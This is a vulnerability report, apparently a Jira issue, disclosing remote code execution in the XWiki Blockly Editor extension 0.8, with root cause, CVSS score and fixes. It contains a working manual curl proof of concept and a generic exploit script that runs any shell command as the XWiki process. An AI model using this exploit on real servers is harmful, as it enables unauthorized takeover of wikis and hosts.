Details
-
Bug
-
Resolution: Unresolved
-
Critical
-
None
-
0.8
-
High
-
Unknown
-
Description
Summary
Blockly.Code.BlocklyExecuteCodeSheet is an admin-authored sheet whose entire body is:
{{velocity}}
#evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
{{/velocity}}
- $doc is the document the sheet is rendering against (the target doc, attacker-controlled).
- getProperty('content').value reads the user-stored value of the content field of an xobject of class Blockly.Code.BlocklyClass.
- #evaluate(...) evaluates that string as Velocity, in the sheet author's (xwiki:XWiki.Admin) PROGRAM context.
Therefore any registered user with EDIT on a page they own can:
- Add a Blockly.Code.BlocklyClass xobject to their page,
- Place arbitrary Velocity (e.g. $xwiki.parseGroovy("...")) in the content field,
- Cause the sheet to render against their page: either via auto-binding (XWiki.SheetClass xobject pointing to Blockly.Code.BlocklyExecuteCodeSheet) or by appending ?sheet=Blockly.Code.BlocklyExecuteCodeSheet to their own page URL,
- The Velocity from content is executed with admin's PROGRAM rights -> RCE.
Affected products
Jira project: Blockly Editor
Package: org.xwiki.contrib:application-blockly-ui
Source repository: xwiki-contrib/application-blockly
Affected version: 0.8, confirmed dynamically on XWiki 18.6.0
Preconditions
Required attacker level: registered + EDIT on a single page (own user space: default).
Admin interaction: none.
Technical details
File and line
application-blockly-ui/src/main/resources/Blockly/Code/BlocklyExecuteCodeSheet.xml
<author>xwiki:XWiki.Admin</author> <!-- line 32 --> <contentAuthor>xwiki:XWiki.Admin</contentAuthor> ... <content> {{velocity}} #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value) <!-- line 44 --> {{/velocity}} </content>
Why a low-privileged user can plant the xobject
- Blockly.Code.BlocklyClass is a public XClass installed by the contrib extension. No XWikiRights restriction is added at install time.
- By XWiki defaults, every registered user has EDIT on their user-space pages and can attach any existing XClass xobject to a page they own.
- The class's content field is declared as a generic TextArea/string (the value is treated as Velocity only on the rendering path).
Why no admin interaction is needed
- The ?sheet=... URL parameter on ViewAction lets the attacker apply any sheet they have VIEW access to. Blockly.Code.BlocklyExecuteCodeSheet is hidden but VIEW-readable to registered users by default.
- Alternatively the attacker can plant an XWiki.SheetClass xobject on their own page that binds Blockly.Code.BlocklyExecuteCodeSheet automatically.
- In either case, the attacker is the one rendering the page: no admin/other-user is involved.
Root cause
#evaluate is called on the value of an xobject field that any non-privileged user can write. There is no PROGRAM-rights check on the content's author, no Required-Rights enforcement on the field, and no whitelisting of the xobject's source page.
Manual proof of concept
Preconditions
- XWiki 18.6.0
- Blockly Editor org.xwiki.contrib:application-blockly-ui version 0.8 is installed.
- The attacker account is cve:cve1234 and has EDIT but no SCRIPT, PROGRAM, or ADMIN right.

- Every command below targets the authorized local lab.
Manual terminal reproduction
Execute each step separately. This makes the account, authorization boundary, object creation, and vulnerable trigger visible before running the automated version.
1. Log in as the low-privileged account
BASE='http://127.0.0.1:8888' USER_NAME='cve' USER_PASSWORD='cve1234' WORK=$(mktemp -d /tmp/blockly-manual.XXXXXX) COOKIE="$WORK/cookies.txt" PAGE="BlocklyIdProof$(date +%s)" CONTROL_PAGE="BlocklyRightsControl$(date +%s)" curl -sS -c "$COOKIE" -b "$COOKIE" \ "$BASE/bin/login/XWiki/XWikiLogin" \ -o "$WORK/login.html" LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \ "$WORK/login.html" | head -n1) curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \ "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \ --data-urlencode "j_username=$USER_NAME" \ --data-urlencode "j_password=$USER_PASSWORD" \ --data-urlencode "form_token=$LOGIN_TOKEN" \ -o /dev/null
2. Verify the identity and absence of administrator access
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html" grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1 curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \ "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
Expected output:
data-xwiki-user-reference="xwiki:XWiki.cve" Global administration HTTP: 403
3. Negative control: direct Groovy must be rejected
curl -fsS -b "$COOKIE" \ "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \ -o "$WORK/control-edit.html" FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \ "$WORK/control-edit.html" | head -n1) CONTROL_CONTENT='{{groovy}} println("DIRECT-GROOVY-SHOULD-NOT-RUN") {{/groovy}}' curl -fsS -b "$COOKIE" -X POST \ "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \ --data-urlencode "content=$CONTROL_CONTENT" \ --data-urlencode 'syntaxId=xwiki/2.1' \ --data-urlencode "form_token=$FORM_TOKEN" \ --data-urlencode 'action_save=Save' \ -o /dev/null curl -fsS -b "$COOKIE" \ "$BASE/bin/view/Sandbox/$CONTROL_PAGE" \ -o "$WORK/control.html" grep -o 'Failed to execute the \[groovy\] macro[^<]*' "$WORK/control.html" | head -n1 ! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
Expected result: XWiki rejects the direct Groovy macro and the marker is absent.
4. Create the attacker-owned page
curl -fsS -b "$COOKIE" \ "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" \ -o "$WORK/edit.html" FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \ "$WORK/edit.html" | head -n1) curl -fsS -b "$COOKIE" -X POST \ "$BASE/bin/save/Sandbox/$PAGE" \ --data-urlencode 'content=Blockly low-user id proof' \ --data-urlencode 'syntaxId=xwiki/2.1' \ --data-urlencode "form_token=$FORM_TOKEN" \ --data-urlencode 'action_save=Save' \ -o /dev/null
5. Add the malicious Blockly object
The XML below creates Blockly.Code.BlocklyClass and places the payload in its content property. The payload
executes /usr/bin/id and prefixes the returned output with BLOCKLY-RCE-.
read -r -d '' BLOCKLY_XML <<'EOF' || true <object xmlns="http://www.xwiki.org"> <className>Blockly.Code.BlocklyClass</className> <property name="content"> <value>#set ($proof = $xwiki.parseGroovyFromString('class CVEBlocklyIdProof { String toString() { def p = new ProcessBuilder("/usr/bin/id").start(); p.waitFor(); return "BLOCKLY-RCE-" + p.inputStream.text.trim() } }')) $proof</value> </property> </object> EOF curl -sS -b "$COOKIE" -X POST \ -H 'Content-Type: application/xml' \ --data-binary "$BLOCKLY_XML" \ "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \ -o "$WORK/object.xml" \ -w 'Object creation HTTP: %{http_code}\n'
Expected result:
Object creation HTTP: 201
6. Trigger the privileged Blockly sheet
curl -fsS -b "$COOKIE" \ "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \ -o "$WORK/result.html" grep -o 'BLOCKLY-RCE-[^<]*' "$WORK/result.html" | head -n1 echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" echo "Evidence directory: $WORK"
Confirmed output in the local lab:
BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root)
The same cve session receives HTTP 403 for global administration and cannot execute a direct Groovy macro, but the
Blockly sheet executes the attacker-controlled object value in the privileged sheet context.
Automated proof of concept
The following script performs the same sequence and stops if the identity, authorization checks, object creation, or
/usr/bin/id result differs from the expected value.
#!/usr/bin/env bash set -euo pipefail usage() { cat <<'EOF' Usage: ./exploit.sh -url <base_url> -u <username> -p <password> -c <command> Example: ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id EOF } BASE='' USER_NAME='' USER_PASSWORD='' COMMAND='' while [[ $# -gt 0 ]]; do case "$1" in -url|--url) [[ $# -ge 2 ]] || { usage >&2; exit 2; } BASE=$2 shift 2 ;; -u|--username) [[ $# -ge 2 ]] || { usage >&2; exit 2; } USER_NAME=$2 shift 2 ;; -p|--password) [[ $# -ge 2 ]] || { usage >&2; exit 2; } USER_PASSWORD=$2 shift 2 ;; -c|--command) [[ $# -ge 2 ]] || { usage >&2; exit 2; } COMMAND=$2 shift 2 ;; -h|--help) usage exit 0 ;; *) echo "Unknown argument: $1" >&2 usage >&2 exit 2 ;; esac done if [[ -z "$BASE" || -z "$USER_NAME" || -z "$USER_PASSWORD" || -z "$COMMAND" ]]; then usage >&2 exit 2 fi BASE=${BASE%/} WORK=$(mktemp -d /tmp/blockly-automated.XXXXXX) COOKIE="$WORK/cookies.txt" SUFFIX=$(date +%s%N) PAGE="BlocklyCommandProof${SUFFIX}" CONTROL_PAGE="BlocklyRightsControl${SUFFIX}" CLASS_NAME="CVEBlocklyCommandProof${SUFFIX}" COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0) echo '[1/6] Logging in' curl -sS -c "$COOKIE" -b "$COOKIE" \ "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html" LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \ "$WORK/login.html" | head -n1) [[ -n "$LOGIN_TOKEN" ]] curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \ "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \ --data-urlencode "j_username=$USER_NAME" \ --data-urlencode "j_password=$USER_PASSWORD" \ --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html" grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html" echo "Authenticated identity: XWiki.$USER_NAME" echo '[2/6] Verifying lack of global administration access' ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \ "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin") echo "Global administration HTTP: $ADMIN_CODE" [[ "$ADMIN_CODE" == 403 ]] echo '[3/6] Verifying that direct Groovy is blocked' curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \ -o "$WORK/control-edit.html" TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \ "$WORK/control-edit.html" | head -n1) [[ -n "$TOKEN" ]] CONTROL_CONTENT='{{groovy}} println("DIRECT-GROOVY-SHOULD-NOT-RUN") {{/groovy}}' curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \ --data-urlencode "content=$CONTROL_CONTENT" \ --data-urlencode 'syntaxId=xwiki/2.1' \ --data-urlencode "form_token=$TOKEN" \ --data-urlencode 'action_save=Save' -o /dev/null curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$CONTROL_PAGE" -o "$WORK/control.html" ! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html" echo 'Direct Groovy control: blocked' echo '[4/6] Creating the attacker-owned page' curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" -o "$WORK/edit.html" TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \ "$WORK/edit.html" | head -n1) [[ -n "$TOKEN" ]] curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$PAGE" \ --data-urlencode 'content=Blockly automated command proof' \ --data-urlencode 'syntaxId=xwiki/2.1' \ --data-urlencode "form_token=$TOKEN" \ --data-urlencode 'action_save=Save' -o /dev/null read -r -d '' BLOCKLY_PAYLOAD <<'EOF' || true #set ($proof = $xwiki.parseGroovyFromString('class __CLASS_NAME__ { String toString() { def command = new String(java.util.Base64.getDecoder().decode("__COMMAND_B64__"), "UTF-8"); def process = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start(); process.waitFor(); return "BLOCKLY-RCE-B64-" + java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes) } }')) $proof EOF BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__CLASS_NAME__/$CLASS_NAME} BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__COMMAND_B64__/$COMMAND_B64} read -r -d '' BLOCKLY_XML <<EOF || true <object xmlns="http://www.xwiki.org"> <className>Blockly.Code.BlocklyClass</className> <property name="content"><value>$BLOCKLY_PAYLOAD</value></property> </object> EOF echo '[5/6] Adding the attacker-controlled Blockly object' OBJECT_CODE=$(curl -sS -b "$COOKIE" -X POST \ -H 'Content-Type: application/xml' \ --data-binary "$BLOCKLY_XML" \ "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \ -o "$WORK/object.xml" -w '%{http_code}') echo "Object creation HTTP: $OBJECT_CODE" [[ "$OBJECT_CODE" == 201 ]] echo '[6/6] Triggering the privileged sheet' curl -fsS -b "$COOKIE" \ "$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \ -o "$WORK/result.html" MARKER=$(grep -o 'BLOCKLY-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.html" | head -n1) [[ -n "$MARKER" ]] OUTPUT_B64=${MARKER#BLOCKLY-RCE-B64-} echo '----- command output -----' printf '%s' "$OUTPUT_B64" | base64 -d echo '----- end command output -----' echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" echo "Evidence directory: $WORK"
Impact
Any registered user with EDIT access to one page can execute arbitrary JVM code with the permissions of the XWiki
process. This compromises the confidentiality, integrity, and availability of the wiki and host resources available to
the service account. The attacker triggers the vulnerable sheet directly; no administrator or other victim is needed.
Severity
Severity: High: RCE under sheet author's PROGRAM context.
CVSS 4.0: 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
- CWE-94: Improper Control of Generation of Code
- CWE-863: Incorrect Authorization
Suggested remediation
- Verify the xobject's content author has PROGRAM before #evaluate-ing the field:
#set ($contentAuthor = $doc.getObject('Blockly.Code.BlocklyClass').contentAuthor) #if ($services.security.authorization.hasAccess('programming', $contentAuthor, $doc.documentReference)) #evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value) #end
- Better: do not #evaluate user content at all. Render it as text or use a sandboxed transformation.
- Add a RequiredRightsClassDocumentRequirement for Blockly.Code.BlocklyClass so the platform Required-Rights analyzer rejects low-privilege saves of pages with this xobject.
Evidence
- Low-privileged XWiki.cve identity and global-administration HTTP 403:

- Direct Groovy negative control showing that the same account cannot execute scripts normally:

- Creation of the Blockly.Code.BlocklyClass object with HTTP 201:

- Vulnerable sheet response containing BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root):

